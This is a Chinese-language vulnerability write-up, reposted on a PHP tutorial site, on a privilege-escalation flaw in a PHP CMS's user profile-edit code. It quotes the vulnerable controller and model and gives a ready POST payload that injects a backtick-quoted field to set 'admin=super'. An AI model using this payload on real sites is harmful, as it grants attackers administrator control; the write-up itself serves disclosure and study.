来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 问题出在 用户修改资料的地方 system module user control phppublic function edit($account = 39; 39;) { if(!$account or RUN_MODE == 39;front 39;) $account =...
|
问题出在 用户修改资料的地方 /system/module/user/control.php
public function edit($account = '')
{
if(!$account or RUN_MODE == 'front') $account = $this->app->user->account;
if($this->app->user->account == 'guest') $this->locate(inlink('login'));
if(!empty($_POST))
{
$this->user->update($account);
跟进updata
/system/module/user/model.php
public function update($account)
{
/* If the user want to change his password. */
if($this->post->password1 != false)
{
$this->checkPassword();
if(dao::isError()) return false;
$password = $this->createPassword($this->post->password1, $account);
$this->post->set('password', $password);
}
$user = fixer::input('post')
->cleanInt('imobile, qq, zipcode')
->setDefault('admin', 'no')
->remove('ip, account, join, visits')
->removeIF(RUN_MODE != 'admin', 'admin')
->get();
return $this->dao->update(TABLE_USER)
->data($user, $skip = 'password1,password2')
->autoCheck()
->batchCheck($this->config->user->require->edit, 'notempty')
->check('email', 'email')
->check('email', 'unique', "account!='$account'")
->checkIF($this->post->gtalk != false, 'gtalk', 'email')
->where('account')->eq($account)
->exec();
}
fixer这个类的代码有点长就不贴了,看上面的代码也能大概看得懂它的作用。。 普通用户和管理员是在一个表的,的区别就是 admin字段。 总之对我们post的数据做了 foreach然后带入了 updata 当然他 有remove admin的,可是这太好绕过了。 直接看利用吧~ 注册用户后 来到 http://localhost/user-edit.html 修改资料 改包 post如下数据 realname=aaaaaa&email=a%40qqqq.com&password1=&password2=&company=&address=&zipcode=&mobile=&phone=&qq`%3D1,`admin=super>alk= 即可提升成为管理员。 可以看mysql的日志
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com